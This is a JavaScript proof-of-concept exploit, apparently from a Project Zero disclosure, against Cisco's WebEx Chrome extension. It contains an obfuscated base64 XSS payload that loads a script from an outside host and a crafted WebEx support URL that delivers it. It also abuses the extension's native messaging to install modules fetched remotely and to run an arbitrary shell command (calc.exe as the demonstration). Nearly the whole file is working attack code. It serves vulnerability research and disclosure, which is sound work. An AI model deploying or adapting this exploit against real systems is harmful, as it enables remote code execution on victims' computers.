// // Execute this code in your XSS payload: // // eval(atob("ZD1kb2N1bWVudDsocz1kLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jay5jbXB4Y2hnOGIuY29tL0pvUGhlaTdhL3dlYmV4LmpzJztkLmhlYWQuYXBwZW5kQ2hpbGQocyk7")) // // At the time of writing, this example worked in Chrome with 1.0.5: // // https://support.webex.com/support/documentation/wwhelp/wwhimpl/common/html/frameset.htm#?");eval(atob("ZD1kb2N1bWVudDsocz1kLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jay5jbXB4Y2hnOGIuY29tL0pvUGhlaTdhL3dlYmV4LmpzJztkLmhlYWQuYXBwZW5kQ2hpbGQocyk7"));(" // // Tavis Ormandy Jan 2017. https://bugs.chromium.org/p/project-zero/issues/detail?id=1100 // This is a list of all permitted GpcComponents from Cisco's WebEx Extension. var whitelist = [ 'aasetup.dll', 'ataactrl.dll', 'atonecli.dll', 'atplycli.dll', 'atrcp.dll', 'atsc3cls.dll', 'atsccli.dll', 'atsccust.dll', 'atshcli.dll', 'atstctrl.dll', 'mailutil.dll', 'raagt.dll', 'ramtmgr.dll', 'scplugin.dll', 'tcholmgr.dll', 'wbxmgrec.dll', 'wbxmgrtc.dll', 'wbxtccli.dll', 'wbxtcholcli.dll', ]; // The WebEx extension needs a magic URL, so we create an iframe with that URL. var frame = document.createElement("iframe"); var modInstalled = 0; var modInvoked = 0; var installDelaySeconds = 3; // Time to wait for a module to download. Don't be too aggressive. var invokeDelaySeconds = 1; // Time to wait for a module to run. var disconnectDelaySeconds = 0.5; // Time to wait after a disconnect before continuing. var timer; var installUrl = "https://www.webex.com/test-meeting.html"; // Note that it doesn't matter if the URL 404's, the extension still loads. frame.setAttribute("src", "/invalid/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html"); // Setup an event handler to track progress. document.addEventListener("native_message", function (e) { try { console.log("[exploit] native_message event received e=", e.detail.message_type); switch (e.detail.message_type) { case "hello_ack": // Received after connect message. case "disconnect_ack": // Received after disconnect message, but disconnect is sent when operation completed. break; case "state_changed": // Happens on initial navigation. console.log("[exploit] extension initialized, installing modules..."); installNextModule(); break; case "disconnect": // Disconnect operation completed. // User didn't install the WebEx Application. if (e.detail.message == "Specified native messaging host not found.") { alert("WebEx application not installed? Start a test meeting first."); window.location.assign(installUrl); } if (e.detail.message == "Native host has exited.") { console.log("[exploit] disconnect confirmed by webex..., timer=", timer); if (modInvoked < modInstalled) { timer = setTimeout(invokeNextModule, disconnectDelaySeconds * 1000); } else { timer = setTimeout(installNextModule, disconnectDelaySeconds * 1000); } } break; default: console.log("[exploit] unknown message_type, type=", e.detail.message_type); } } catch (ex) { console.log("[exploit] unable to parse native_message event", e); } }); // This callback will attempt to overwrite one of the whitelisted modules, then // disconnect the port. function installNextModule() { // Check if we have any modules left to install. if (modInstalled >= whitelist.length) { return false; } var mod = whitelist[modInstalled++]; var msg = { GpcProductRoot: "WebEx", GpcMovingInSubdir: "Wanta", GpcProductVersion: "T30_MC", GpcUnpackName: "atgpcdec", GpcExtName: mod.substr(0, mod.indexOf('.')), GpcUnpackVersion: "27, 17, 2016, 501", GpcExtVersion: "3015, 0, 2016, 1117", GpcUrlRoot: "https://lock.cmpxchg8b.com/JoPhei7a/", GpcComponentName: btoa(mod), }; console.log("[exploit] installNextModule about to dispatchEvent for", mod, "with msg=", msg); // Attempt to install the module, it must be signed by Cisco. frame.contentDocument.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); frame.contentDocument.dispatchEvent(new CustomEvent("message", { detail: { message: JSON.stringify(msg), message_type: "launch_meeting", timestamp: (new Date()).toUTCString(), token: "token" } })); console.log("[exploit] waiting", installDelaySeconds, "seconds for", mod, "to install..."); setTimeout(sendDisconnect, installDelaySeconds * 1000); return true; } function sendDisconnect() { console.log("[exploit] about to attempt disconnect..."); frame.contentDocument.dispatchEvent(new CustomEvent("message", { detail: { message: null, message_type: "disconnect", timestamp: (new Date()).toUTCString(), token: "token", } })); } function invokeNextModule() { // Check if we have any modules left to execute. if (modInvoked >= whitelist.length) { return false; } var mod = whitelist[modInvoked++]; var msg = { GpcProductRoot: "WebEx", GpcMovingInSubdir: "Wanta", GpcProductVersion: "T30_MC", GpcUnpackName: "atgpcdec", GpcExtName: "atgpcext", GpcUnpackVersion: "27, 17, 2016, 501", GpcExtVersion: "3015, 0, 2016, 1117", GpcUrlRoot: "https://lock.cmpxchg8b.com/JoPhei7a/", GpcComponentName: btoa(mod), GpcSuppressInstallation: btoa("True"), GpcFullPage: "True", GpcInitCall: btoa("_wsystem(ExploitShellCommand);"), ExploitShellCommand: btoa("calc.exe"), }; console.log("[exploit] about to send exploit for", mod, "msg=", msg); frame.contentDocument.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); frame.contentDocument.dispatchEvent(new CustomEvent("message", { detail: { message: JSON.stringify(msg), message_type: "launch_meeting", timestamp: (new Date()).toUTCString(), token: "token" } })); console.log("[exploit] waiting", invokeDelaySeconds, "seconds for", mod, "to execute..."); setTimeout(sendDisconnect, invokeDelaySeconds * 1000); return true; } console.log("[exploit] about to append iframe, src=", frame.src); // Print an error if user is crazy. if (window.chrome) { var s = document.createElement("script"); s.setAttribute("src", "chrome-extension://jlhmfgmfgeifomenelglieieghnjghma/manifest.json"); s.setAttribute("onerror", "alert('Are you sure you have WebEx installed? Try a test meeting first.'); window.location.assign(installUrl)"); document.body.appendChild(s); } // Load the frame document.body.appendChild(frame);